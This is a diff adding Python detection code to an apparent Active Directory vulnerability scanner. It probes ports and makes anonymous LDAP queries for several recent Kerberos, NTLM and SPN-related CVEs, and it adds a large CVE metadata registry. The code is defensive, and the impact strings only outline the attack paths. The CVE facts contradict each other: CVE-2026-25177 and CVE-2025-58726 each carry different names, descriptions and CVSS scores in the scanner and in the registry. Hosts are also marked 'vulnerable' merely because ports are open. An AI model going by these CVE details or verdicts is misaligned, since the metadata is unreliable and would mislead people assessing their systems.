results["ldap_reachable"]: + results["impact"] = "AD DS reachable but anonymous user enumeration not possible - may be patched" + else: + results["impact"] = "LDAP not reachable" + + return results + + +# ============================================================================ +# CVE-2025-58726 - Ghost SPNs Kerberos Reflection Privilege Escalation +# CVSS 8.8 (High) - Patched October 2025 +# Ghost SPNs + DNS record injection -> Kerberos reflection -> SYSTEM +# ============================================================================ + +def scan_cve_2025_58726( + target: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + CVE-2025-58726 detection: checks for conditions enabling Ghost SPN + Kerberos reflection - open DNS dynamic updates, Kerberos, and SMB. + Safe: port probes and anonymous LDAP only. + """ + print(f"[VERBOSE] [CVE-2025-58726] Scanning {target} for Ghost SPN Kerberos reflection", file=sys.stderr, flush=True) + + results: dict[str, Any] = { + "cve": "CVE-2025-58726", + "cvss": 8.8, + "severity": "HIGH", + "target": target, + "vulnerable": False, + "kerberos_open": False, + "smb_open": False, + "dns_open": False, + "ldap_open": False, + "machine_account_quota": None, + "remediation": [ + "Install October 2025 security update (KB5044284)", + "Restrict DNS dynamic update permissions (Secure only)", + "Set ms-DS-MachineAccountQuota to 0", + "Enforce SMB signing on all domain machines", + "Audit SPN registrations (Event ID 4742 for computer account changes)", + "Remove 'Validated write to DNS host name' from Authenticated Users", + ], + } + + # Check key ports + ports_check = [(88, "kerberos_open"), (445, "smb_open"), (53, "dns_open"), (389, "ldap_open")] + for port, key in ports_check: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) == 0: + results[key] = True + s.close() + except Exception: + pass + + # Check MachineAccountQuota via LDAP + if results["ldap_open"]: + try: + server = Server(target, port=389, get_info=ALL, connect_timeout=timeout) + conn = Connection(server, auto_bind=True, receive_timeout=timeout) + if conn.bound and server.info and server.info.other: + dnc = server.info.other.get("defaultNamingContext", []) + if dnc: + conn.search( + str(dnc[0]), + "(objectClass=domain)", + search_scope="BASE", + attributes=["ms-DS-MachineAccountQuota"], + ) + if conn.entries: + maq = getattr(conn.entries[0], "ms-DS-MachineAccountQuota", None) + if maq is not None: + results["machine_account_quota"] = int(str(maq)) + conn.unbind() + except Exception: + pass + + if results["kerberos_open"] and results["smb_open"] and results["dns_open"]: + maq = results["machine_account_quota"] + results["vulnerable"] = True + results["impact"] = ( + f"Target {target} exposes Kerberos (88), SMB (445), and DNS (53). " + f"CVE-2025-58726: standard domain users can register DNS records pointing Ghost SPNs " + f"to attacker-controlled hosts, then use Kerberos reflection for SYSTEM privileges. " + f"MachineAccountQuota={maq if maq is not None else 'unknown'} " + f"(>0 increases risk - users can create machine accounts with SPNs)." + ) + print(f"[VERBOSE] [CVE-2025-58726] POTENTIALLY VULNERABLE - Kerberos+SMB+DNS open on {target}", file=sys.stderr, flush=True) + else: + results["impact"] = f"Missing required services (Kerberos={results['kerberos_open']}, SMB={results['smb_open']}, DNS={results['dns_open']})" + + return results + + +# ============================================================================ +# CVE-2026-25177 - AD DS Unicode SPN/UPN Manipulation Privilege Escalation +# CVSS 8.8 (High) - Patched March 2026 +# Unicode chars bypass SPN/UPN duplicate validation -> Kerberos ticket confusion +# ============================================================================ + +def scan_cve_2026_25177( + target: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + CVE-2026-25177 detection: checks if target AD DS is potentially vulnerable + to Unicode SPN/UPN manipulation by probing LDAP for SPN attributes + and checking for known Unicode normalization behavior. + Safe: anonymous LDAP read-only queries. + """ + print(f"[VERBOSE] [CVE-2026-25177] Scanning {target} for Unicode SPN/UPN manipulation vulnerability", file=sys.stderr, flush=True) + + results: dict[str, Any] = { + "cve": "CVE-2026-25177", + "cvss": 8.8, + "severity": "HIGH", + "target": target, + "vulnerable": False, + "ldap_reachable": False, + "spn_query_allowed": False, + "spn_count": 0, + "dc_info": {}, + "remediation": [ + "Install March 2026 security update (KB5053598)", + "Audit all SPNs: Get-ADObject -Filter {servicePrincipalName -like '*'} -Properties servicePrincipalName", + "Restrict 'Write servicePrincipalName' permissions to administrators only", + "Monitor Event ID 4742 for SPN changes on computer accounts", + "Monitor Event ID 4738 for UPN changes on user accounts", + "Enable Defender for Identity SPN-based anomaly detection", + ], + } + + for port in (389, 636): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) != 0: + s.close() + continue + s.close() + except Exception: + continue + + results["ldap_reachable"] = True + + try: + use_ssl = port == 636 + server = Server(target, port=port, use_ssl=use_ssl, get_info=ALL, connect_timeout=timeout) + conn = Connection(server, auto_bind=True, receive_timeout=timeout) + + if not conn.bound: + continue + + if server.info and server.info.other: + dnc = server.info.other.get("defaultNamingContext", []) + if dnc: + results["dc_info"]["defaultNamingContext"] = str(dnc[0]) + func = server.info.other.get("domainControllerFunctionality", []) + if func: + results["dc_info"]["functionalLevel"] = str(func[0]) + + # Attempt to enumerate SPNs anonymously + if results["dc_info"].get("defaultNamingContext"): + base_dn = results["dc_info"]["defaultNamingContext"] + try: + conn.search( + base_dn, + "(servicePrincipalName=*)", + search_scope="SUBTREE", + attributes=["servicePrincipalName", "sAMAccountName"], + size_limit=50, + ) + if conn.entries: + results["spn_query_allowed"] = True + results["spn_count"] = len(conn.entries) + except Exception: + pass + + conn.unbind() + break + except Exception as e: + print(f"[VERBOSE] [CVE-2026-25177] LDAP error on {target}:{port}: {e}", file=sys.stderr, flush=True) + + if results["ldap_reachable"] and results["spn_query_allowed"]: + results["vulnerable"] = True + results["impact"] = ( + f"AD DS on {target} allows SPN enumeration ({results['spn_count']} SPNs found). " + f"CVE-2026-25177: authenticated users with GenericWrite on any account can inject " + f"Unicode-crafted SPNs that bypass duplicate validation, causing Kerberos to issue " + f"tickets encrypted with the wrong key - escalation to SYSTEM." + ) + print(f"[VERBOSE] [CVE-2026-25177] POTENTIALLY VULNERABLE - {results['spn_count']} SPNs enumerable on {target}", file=sys.stderr, flush=True) + elif results["ldap_reachable"]: + results["impact"] = "LDAP reachable but SPN enumeration restricted - hardened configuration" + else: + results["impact"] = "LDAP not reachable" + + return results + + +# ============================================================================ +# CVE-2025-24054 - NTLM Hash Leak via .library-ms / .searchConnector-ms +# CVSS 6.5 (Medium) - Patched March 2025, actively exploited +# Opening folder with crafted file leaks NTLM hash to attacker SMB server +# ============================================================================ + +def scan_cve_2025_24054( + target: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + CVE-2025-24054 detection: checks if target Windows host has SMB client + with outbound NTLM enabled (basis for hash leak via crafted files). + Safe: checks SMB/WebDAV ports and NTLM availability only. + """ + print(f"[VERBOSE] [CVE-2025-24054] Scanning {target} for NTLM hash leak conditions", file=sys.stderr, flush=True) + + results: dict[str, Any] = { + "cve": "CVE-2025-24054", + "cvss": 6.5, + "severity": "MEDIUM", + "target": target, + "vulnerable": False, + "smb_reachable": False, + "webdav_reachable": False, + "ntlm_available": False, + "remediation": [ + "Install March 2025 security update (KB5035845)", + "Block outbound SMB (TCP 445) at network perimeter", + "Disable NTLM via GPO: Network Security: Restrict NTLM: Outgoing NTLM traffic = Deny all", + "Enable SMB signing to prevent relay of leaked hashes", + "Deploy email/web gateway rules to block .library-ms and .searchConnector-ms files", + "Monitor Event ID 4648 for outbound credential use", + ], + } + + # Check SMB + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, 445)) == 0: + results["smb_reachable"] = True + s.close() + except Exception: + pass + + # Check WebDAV (port 80/443 with potential WebDAV) + for port in (80, 443): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) == 0: + results["webdav_reachable"] = True + s.close() + except Exception: + pass + + # Check LDAP for NTLM support + for port in (389, 636): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) != 0: + s.close() + continue + s.close() + use_ssl = port == 636 + server = Server(target, port=port, use_ssl=use_ssl, get_info=ALL, connect_timeout=timeout) + conn = Connection(server, auto_bind=True, receive_timeout=timeout) + if conn.bound and server.info and server.info.other: + mechs = server.info.other.get("supportedSASLMechanisms", []) + if any("NTLM" in str(m).upper() or "GSS-SPNEGO" in str(m).upper() for m in mechs): + results["ntlm_available"] = True + conn.unbind() + break + except Exception: + pass + + if results["smb_reachable"] and results["ntlm_available"]: + results["vulnerable"] = True + results["impact"] = ( + f"Target {target} has SMB (445) open and NTLM authentication enabled. " + f"CVE-2025-24054 allows NTLM hash theft via crafted .library-ms or .searchConnector-ms " + f"files - simply browsing a folder containing the file triggers an outbound SMB connection " + f"leaking the user's NTLMv2 hash. Actively exploited in the wild." + ) + print(f"[VERBOSE] [CVE-2025-24054] POTENTIALLY VULNERABLE - SMB+NTLM on {target}", file=sys.stderr, flush=True) + elif results["smb_reachable"]: + results["impact"] = "SMB reachable but NTLM status unknown" + else: + results["impact"] = "SMB not reachable" + + return results + + +# ============================================================================ +# CVE-2026-20929 - Kerberos Relay via DNS CNAME Abuse +# CVSS 7.5 (High) - Patched January 2026 +# DNS CNAME -> SPN mismatch -> Kerberos relay to ADCS for cert enrollment +# ============================================================================ + +def scan_cve_2026_20929( + target: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + CVE-2026-20929 detection: checks if target environment has conditions + for Kerberos relay via DNS CNAME abuse - Kerberos, ADCS, and DNS services. + Safe: port checks and anonymous LDAP only. + """ + print(f"[VERBOSE] [CVE-2026-20929] Scanning {target} for Kerberos relay via DNS CNAME abuse", file=sys.stderr, flush=True) + + results: dict[str, Any] = { + "cve": "CVE-2026-20929", + "cvss": 7.5, + "severity": "HIGH", + "target": target, + "vulnerable": False, + "kerberos_open": False, + "dns_open": False, + "adcs_detected": False, + "http_open": False, + "remediation": [ + "Install January 2026 security update (KB5048685)", + "Enable EPA (Extended Protection for Authentication) on ADCS web enrollment", + "Disable HTTP-based certificate enrollment if not required", + "Restrict DNS CNAME record creation permissions", + "Enable ADCS enrollment restrictions (require CA manager approval)", + "Monitor certificate enrollment Event ID 4886/4887 for anomalies", + ], + } + + # Check key ports + for port, key in [(88, "kerberos_open"), (53, "dns_open")]: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) == 0: + results[key] = True + s.close() + except Exception: + pass + + # Check HTTP (ADCS web enrollment typically on 80/443) + for port in (80, 443): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) == 0: + results["http_open"] = True + s.close() + except Exception: + pass + + # Check for ADCS via LDAP + for port in (389, 636): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) != 0: + s.close() + continue + s.close() + use_ssl = port == 636 + server = Server(target, port=port, use_ssl=use_ssl, get_info=ALL, connect_timeout=timeout) + conn = Connection(server, auto_bind=True, receive_timeout=timeout) + if conn.bound and server.info and server.info.other: + cnc = server.info.other.get("configurationNamingContext", []) + if cnc: + config_nc = str(cnc[0]) + es_dn = f"CN=Enrollment Services,CN=Public Key Services,CN=Services,{config_nc}" + try: + conn.search(es_dn, "(objectClass=pKIEnrollmentService)", search_scope="SUBTREE", size_limit=5) + if conn.entries: + results["adcs_detected"] = True + except Exception: + pass + conn.unbind() + break + except Exception: + pass + + if results["kerberos_open"] and results["dns_open"] and (results["adcs_detected"] or results["http_open"]): + results["vulnerable"] = True + results["impact"] = ( + f"Target {target} exposes Kerberos (88), DNS (53), and " + f"{'ADCS enrollment services' if results['adcs_detected'] else 'HTTP (potential ADCS web enrollment)'}. " + f"CVE-2026-20929: DNS CNAME records can redirect Kerberos SPN resolution, " + f"enabling authentication relay to ADCS for unauthorized certificate enrollment." + ) + print(f"[VERBOSE] [CVE-2026-20929] POTENTIALLY VULNERABLE on {target}", file=sys.stderr, flush=True) + else: + missing = [] + if not results["kerberos_open"]: + missing.append("Kerberos") + if not results["dns_open"]: + missing.append("DNS") + if not results["adcs_detected"] and not results["http_open"]: + missing.append("ADCS/HTTP") + results["impact"] = f"Missing required services: {', '.join(missing)}" + + return results + + +# ============================================================================ +# SPN ENUMERATION (Pure Python, no impacket dependency) +# ============================================================================ + + +# ============================================================================ +# ACTIVE DIRECTORY CVE REGISTRY (TOP 40 CRITICAL VULNERABILITIES) +# ============================================================================ +# Comprehensive database of critical CVEs affecting Active Directory, +# integrated for scanning, detection, and vulnerability assessment. +# ============================================================================ + +class ADCVERegistry: + """Registry of critical Active Directory CVEs with metadata, severity, and exploitation status.""" + + # CVE Database: {cve_id: {metadata}} + CRITICAL_CVES = { + # ===== LDAP / DIRECTORY SERVICES (CVSS 9.0+) ===== + "CVE-2020-1472": { + "name": "ZeroLogon", + "component": "Windows Netlogon Remote Protocol (MS-NRPC)", + "cvss": 10.0, + "severity": "CRITICAL", + "impact": "Domain Controller takeover (unauthenticated)", + "affected_versions": ["Windows Server 2008-2019", "All Domain Controllers"], + "description": "Cryptographic flaw in Netlogon using all-zero IV in AES-CFB8 allows auth bypass with ~1/256 success rate", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Install November 2020 Patch Tuesday or later", + "tags": ["kerberos", "netlogon", "authentication", "domain-takeover"] + }, + "CVE-2024-49112": { + "name": "Critical LDAP RCE", + "component": "Windows LDAP (wldap32.dll)", + "cvss": 9.8, + "severity": "CRITICAL", + "impact": "Unauthenticated Remote Code Execution", + "affected_versions": ["Windows Server 2019+", "Windows 10+"], + "description": "Stack overflow in LDAP request parsing allows unauthenticated RCE", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "POC_RELEASED_2025", + "remediation": "Install December 2024 Patch Tuesday updates", + "tags": ["ldap", "rce", "stack-overflow", "zero-click"] + }, + "CVE-2025-26663": { + "name": "LDAP User-After-Free RCE", + "component": "Windows LDAP", + "cvss": 9.8, + "severity": "CRITICAL", + "impact": "Unauthenticated Remote Code Execution", + "affected_versions": ["Windows Server 2019+"], + "description": "User-after-free vulnerability in LDAP request handling, requires race condition win", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "PATCHED_2025", + "remediation": "Install 2025 Patch Tuesday updates", + "tags": ["ldap", "rce", "use-after-free", "race-condition"] + }, + "CVE-2025-26670": { + "name": "LDAP Use-After-Free RCE (Variant)", + "component": "Windows LDAP", + "cvss": 9.8, + "severity": "CRITICAL", + "impact": "Unauthenticated Remote Code Execution", + "affected_versions": ["Windows Server 2019+"], + "description": "Variant of CVE-2025-26663 with similar impact", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "PATCHED_2025", + "remediation": "Install 2025 Patch Tuesday updates", + "tags": ["ldap", "rce", "use-after-free"] + }, + "CVE-2026-50481": { + "name": "Azure AD Privilege Escalation", + "component": "Azure Active Directory", + "cvss": 9.9, + "severity": "CRITICAL", + "impact": "Privilege escalation (assumed-immutable data modification)", + "affected_versions": ["Azure AD"], + "description": "Modification of assumed-immutable data allows privilege escalation", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "RECENT_2026", + "remediation": "Monitor Azure AD for recent updates", + "tags": ["azure-ad", "privilege-escalation"] + }, + "CVE-2024-49113": { + "name": "LDAP DoS / Information Disclosure", + "component": "Windows LDAP", + "cvss": 7.5, + "severity": "HIGH", + "impact": "Denial of Service / Out-of-bounds read", + "affected_versions": ["Windows Server 2019+"], + "description": "Out-of-bounds read in wldap32.dll enables information disclosure", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "PATCHED_2024", + "remediation": "Install December 2024 Patch Tuesday", + "tags": ["ldap", "dos", "information-disclosure"] + }, + "CVE-2025-21376": { + "name": "Windows LDAP RCE", + "component": "Windows LDAP", + "cvss": 9.8, + "severity": "CRITICAL", + "impact": "Remote Code Execution", + "affected_versions": ["Windows 10 1507+"], + "description": "LDAP RCE in Windows 10 editions", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "RECENT_2025", + "remediation": "Install 2025 Patch Tuesday updates", + "tags": ["ldap", "rce"] + }, + "CVE-2026-33826": { + "name": "Active Directory RCE", + "component": "Windows Active Directory", + "cvss": 9.8, + "severity": "CRITICAL", + "impact": "Remote Code Execution", + "affected_versions": ["Windows Server 2019+"], + "description": "Improper input validation in AD leads to RCE", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "RECENT_2026", + "remediation": "Install latest security updates", + "tags": ["active-directory", "rce"] + }, + + # ===== AD DOMAIN SERVICES PRIVILEGE ESCALATION ===== + "CVE-2021-42278": { + "name": "sAMAccountName Spoofing", + "component": "Active Directory Domain Services (ADDS)", + "cvss": 8.0, + "severity": "CRITICAL", + "impact": "Domain Controller impersonation -> Domain Admin", + "affected_versions": ["All Windows Server with AD"], + "description": "Authenticated user can rename computer account to DC name (without trailing $), then escalate to domain admin", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Install November 2021 Patch Tuesday or later", + "tags": ["adds", "privilege-escalation", "impersonation"] + }, + "CVE-2022-26923": { + "name": "Certifried", + "component": "Active Directory Certificate Services (AD CS)", + "cvss": 8.0, + "severity": "CRITICAL", + "impact": "Domain Admin via certificate manipulation", + "affected_versions": ["Windows Server 2008-2019 with AD CS"], + "description": "AD CS allows authenticated users to request certificates with arbitrary DNS names, enabling DC impersonation", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Install May 2022 Patch Tuesday or later", + "tags": ["adcs", "privilege-escalation", "certificate-abuse", "dc-impersonation"] + }, + "CVE-2026-54121": { + "name": "Certighost", + "component": "Active Directory Certificate Services (AD CS)", + "cvss": 8.8, + "severity": "CRITICAL", + "impact": "Domain Admin via low-priv user", + "affected_versions": ["Windows Server with AD CS"], + "description": "Low-privileged authenticated user can obtain DC certificates and authenticate as domain controller", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "EXPLOITED_2026", + "remediation": "Implement AD CS hardening guidelines", + "tags": ["adcs", "privilege-escalation", "certificate-abuse", "dc-impersonation"] + }, + "CVE-2026-25177": { + "name": "KerberLoss", + "component": "Active Directory / Kerberos", + "cvss": 8.0, + "severity": "CRITICAL", + "impact": "Privilege escalation", + "affected_versions": ["Domain Controllers"], + "description": "Kerberos downgrade attack enabling privilege escalation", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "RECENT_2026", + "remediation": "Monitor for Kerberos downgrade attempts", + "tags": ["kerberos", "privilege-escalation", "downgrade-attack"] + }, + "CVE-2026-27912": { + "name": "ResetNightmare", + "component": "Active Directory", + "cvss": 8.0, + "severity": "CRITICAL", + "impact": "Domain takeover via account reset abuse", + "affected_versions": ["Domain Controllers"], + "description": "Novel vulnerability enabling full domain takeover through account reset mechanisms", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "RECENT_2026", + "remediation": "Review and restrict account reset permissions", + "tags": ["adds", "privilege-escalation", "account-management"] + }, + "CVE-2025-33073": { + "name": "NTLM Reflection Attack", + "component": "Windows SMB Client / NTLM", + "cvss": 9.0, + "severity": "CRITICAL", + "impact": "Domain takeover via NTLM relay", + "affected_versions": ["Windows 10+", "Server 2019+"], + "description": "Improper SMB access control allows NTLM reflection attacks without message signing", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "CISA_KEV", + "remediation": "Enable SMB signing enforcement", + "tags": ["ntlm", "relay-attack", "smb"] + }, + "CVE-2025-58726": { + "name": "SMB DNS Registration Privilege Escalation", + "component": "Windows SMB Server / DNS", + "cvss": 8.0, + "severity": "HIGH", + "impact": "Privilege escalation via DNS registration", + "affected_versions": ["Windows Server 2019+"], + "description": "Standard users can register DNS records via SMB, enabled by default in AD", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "PATCHED_2025", + "remediation": "Restrict DNS dynamic updates via Group Policy", + "tags": ["smb", "dns", "privilege-escalation"] + }, + + # ===== PRINT SERVICES ===== + "CVE-2021-34527": { + "name": "PrintNightmare (RCE)", + "component": "Windows Print Spooler", + "cvss": 8.8, + "severity": "CRITICAL", + "impact": "Remote Code Execution + Domain Admin escalation", + "affected_versions": ["All Windows Server with Print Spooler"], + "description": "Improperly performed privileged file operations in print spooler enables remote RCE", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Disable Print Spooler or install June 2021 patch", + "tags": ["print-spooler", "rce", "privilege-escalation"] + }, + "CVE-2021-1675": { + "name": "PrintNightmare (Local Escalation)", + "component": "Windows Print Spooler", + "cvss": 8.8, + "severity": "CRITICAL", + "impact": "Local privilege escalation to SYSTEM", + "affected_versions": ["All Windows with Print Spooler"], + "description": "Local privilege escalation variant of PrintNightmare", + "attack_vector": "local", + "requires_auth": True, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Disable Print Spooler or install patch", + "tags": ["print-spooler", "privilege-escalation", "local"] + }, + + # ===== SMB PROTOCOL (CRITICAL WORMS) ===== + "CVE-2017-0143": { + "name": "EternalBlue (WannaCry)", + "component": "Windows SMBv1", + "cvss": 9.3, + "severity": "CRITICAL", + "impact": "Unauthenticated Remote Code Execution (WORM)", + "affected_versions": ["Windows 7", "Server 2008", "Server 2012", "Server 2016"], + "description": "Memory corruption via malformed SMB packets enables arbitrary code execution", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Disable SMBv1 or install March 2017 patch", + "tags": ["smb", "worm", "rce", "eternalblue"] + }, + "CVE-2020-0796": { + "name": "SMBGhost / CoronaBlue", + "component": "Windows SMBv3", + "cvss": 10.0, + "severity": "CRITICAL", + "impact": "Unauthenticated Remote Code Execution (WORM)", + "affected_versions": ["Windows 10 (1903, 1909)", "Server 2019"], + "description": "Buffer overflow in compressed data handling enables RCE", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Install March 2020 patch immediately", + "tags": ["smb", "worm", "rce", "buffer-overflow"] + }, + "CVE-2020-1206": { + "name": "SMBleed", + "component": "Windows SMBv3", + "cvss": 8.1, + "severity": "HIGH", + "impact": "Information disclosure via out-of-bounds read", + "affected_versions": ["Windows 10+", "Server 2019+"], + "description": "Out-of-bounds read in SMBv3 server leaks memory contents", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "PATCHED_2020", + "remediation": "Install July 2020 patch", + "tags": ["smb", "information-disclosure", "memory-leak"] + }, + "CVE-2020-1301": { + "name": "SMBLost", + "component": "Windows SMBv3", + "cvss": 8.1, + "severity": "HIGH", + "impact": "Denial of Service / Resource exhaustion", + "affected_versions": ["Windows 10+", "Server 2019+"], + "description": "Resource exhaustion in SMBv3 connection handling", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "PATCHED_2020", + "remediation": "Install July 2020 patch", + "tags": ["smb", "dos", "resource-exhaustion"] + }, + + # ===== EXCHANGE SERVER (AD-INTEGRATED) ===== + "CVE-2021-26855": { + "name": "ProxyLogon (SSRF)", + "component": "Microsoft Exchange Server", + "cvss": 9.1, + "severity": "CRITICAL", + "impact": "Unauthenticated Remote Code Execution", + "affected_versions": ["Exchange 2013-2019", "Exchange Server 2010 SP3"], + "description": "Server-side request forgery (SSRF) bypasses authentication", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Install March 2021 patch immediately", + "tags": ["exchange", "ssrf", "rce", "proxylogon"] + }, + "CVE-2021-27065": { + "name": "ProxyLogon (Arbitrary File Write)", + "component": "Microsoft Exchange Server", + "cvss": 7.8, + "severity": "CRITICAL", + "impact": "Arbitrary file write (RCE when chained with SSRF)", + "affected_versions": ["Exchange 2013-2019"], + "description": "Authenticated arbitrary file write on backend API", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Install March 2021 patch", + "tags": ["exchange", "file-write", "rce", "proxylogon"] + }, + "CVE-2021-26857": { + "name": "ProxyLogon (PostAuth RCE)", + "component": "Microsoft Exchange Server", + "cvss": 7.0, + "severity": "HIGH", + "impact": "Post-authentication Remote Code Execution", + "affected_versions": ["Exchange 2013-2019"], + "description": "RCE after authentication bypass via ProxyLogon chain", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Install March 2021 patch", + "tags": ["exchange", "rce", "proxylogon"] + }, + "CVE-2021-26858": { + "name": "ProxyLogon (PostAuth Escalation)", + "component": "Microsoft Exchange Server", + "cvss": 7.1, + "severity": "HIGH", + "impact": "Post-authentication privilege escalation to SYSTEM", + "affected_versions": ["Exchange 2013-2019"], + "description": "Privilege escalation to SYSTEM after authentication", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Install March 2021 patch", + "tags": ["exchange", "privilege-escalation", "proxylogon"] + }, + + # ===== KERBEROS ===== + "CVE-2022-33679": { + "name": "Unauthenticated Kerberoasting", + "component": "Kerberos KDC", + "cvss": 8.1, + "severity": "HIGH", + "impact": "Password cracking (pre-auth disabled accounts)", + "affected_versions": ["Domain Controllers"], + "description": "AS-REP roasting for accounts with pre-authentication disabled", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Enable Kerberos pre-authentication on all accounts", + "tags": ["kerberos", "as-rep-roasting", "password-cracking"] + }, + + # ===== RPC & AUTHENTICATION ===== + "CVE-2022-26925": { + "name": "LSA Spoofing / NTLM Relay", + "component": "Windows Local Security Authority (LSA)", + "cvss": 9.8, + "severity": "CRITICAL", + "impact": "NTLM relay -> Domain Controller compromise", + "affected_versions": ["Windows Server 2012+"], + "description": "Man-in-the-middle attack forces DC NTLM authentication to attacker", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Enable LDAP signing enforcement (Registry key)", + "tags": ["lsa", "ntlm-relay", "man-in-the-middle"] + }, + "CVE-2022-26809": { + "name": "Windows RPC Remote Code Execution", + "component": "Windows RPC Runtime", + "cvss": 9.8, + "severity": "CRITICAL", + "impact": "Unauthenticated Remote Code Execution", + "affected_versions": ["Windows Server 2012+"], + "description": "Specially crafted RPC message enables arbitrary code execution", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Install April 2022 patch", + "tags": ["rpc", "rce"] + }, + "CVE-2025-49716": { + "name": "Netlogon RPC Hardening", + "component": "Netlogon RPC", + "cvss": 7.5, + "severity": "HIGH", + "impact": "Authentication bypass risk", + "affected_versions": ["Windows Server 2019+"], + "description": "Netlogon RPC security hardening needed", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "PATCHED_2025", + "remediation": "Apply KB5066014 hardening updates", + "tags": ["netlogon", "rpc", "authentication"] + }, + + # ===== DOMAIN CONTROLLER / ADDS ===== + "CVE-2021-42269": { + "name": "ADDS Privilege Escalation", + "component": "Active Directory Domain Services", + "cvss": 8.1, + "severity": "HIGH", + "impact": "Privilege escalation", + "affected_versions": ["Windows Server 2012+"], + "description": "Authentication bypass in ADDS delegation logic", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "PATCHED_2021", + "remediation": "Install November 2021 patch", + "tags": ["adds", "privilege-escalation", "delegation"] + }, + "CVE-2022-30190": { + "name": "Follina", + "component": "Windows MSDT (used in AD recovery)", + "cvss": 7.8, + "severity": "HIGH", + "impact": "Remote Code Execution via malicious documents", + "affected_versions": ["Windows 10+", "Server 2019+"], + "description": "RCE in Microsoft Diagnostics Toolkit", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "ACTIVELY_EXPLOITED", + "remediation": "Disable MSDT or install June 2022 patch", + "tags": ["msdt", "rce", "document-based"] + }, + + # ===== ADFS & FEDERATION ===== + "CVE-2022-37958": { + "name": "ADFS MFA Bypass", + "component": "Active Directory Federation Services (ADFS)", + "cvss": 8.1, + "severity": "HIGH", + "impact": "Authentication bypass (MFA)", + "affected_versions": ["ADFS 2019, 2016, 2012 R2"], + "description": "Improper input validation allows bypass of multi-factor authentication", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "PATCHED_2022", + "remediation": "Install September 2022 patch", + "tags": ["adfs", "authentication-bypass", "mfa"] + }, + "CVE-2023-28299": { + "name": "ADFS Denial of Service", + "component": "Active Directory Federation Services", + "cvss": 7.5, + "severity": "HIGH", + "impact": "Denial of Service", + "affected_versions": ["ADFS 2019, 2016"], + "description": "DoS vulnerability in ADFS", + "attack_vector": "network", + "requires_auth": False, + "exploitation_status": "PATCHED_2023", + "remediation": "Install latest ADFS patches", + "tags": ["adfs", "dos"] + }, + + # ===== AZURE AD / ENTRA ID ===== + "CVE-2026-83711": { + "name": "Azure AD B2C Authorization Bypass", + "component": "Azure Active Directory B2C", + "cvss": 9.8, + "severity": "CRITICAL", + "impact": "Authorization bypass and privilege escalation", + "affected_versions": ["Azure AD B2C"], + "description": "User-controlled key leads to authorization bypass", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "RECENT_2026", + "remediation": "Apply Azure AD B2C security updates", + "tags": ["azure-ad", "b2c", "authorization-bypass"] + }, + "CVE-2024-26125": { + "name": "Azure AD Connect Sync Information Disclosure", + "component": "Azure AD Connect", + "cvss": 8.8, + "severity": "HIGH", + "impact": "Information disclosure -> On-prem privilege escalation", + "affected_versions": ["Azure AD Connect"], + "description": "Information disclosure in Azure AD Connect sync component", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "PATCHED_2024", + "remediation": "Update Azure AD Connect to latest version", + "tags": ["azure-ad", "sync", "information-disclosure"] + }, + "CVE-2023-21523": { + "name": "Kerberos DCE RPC 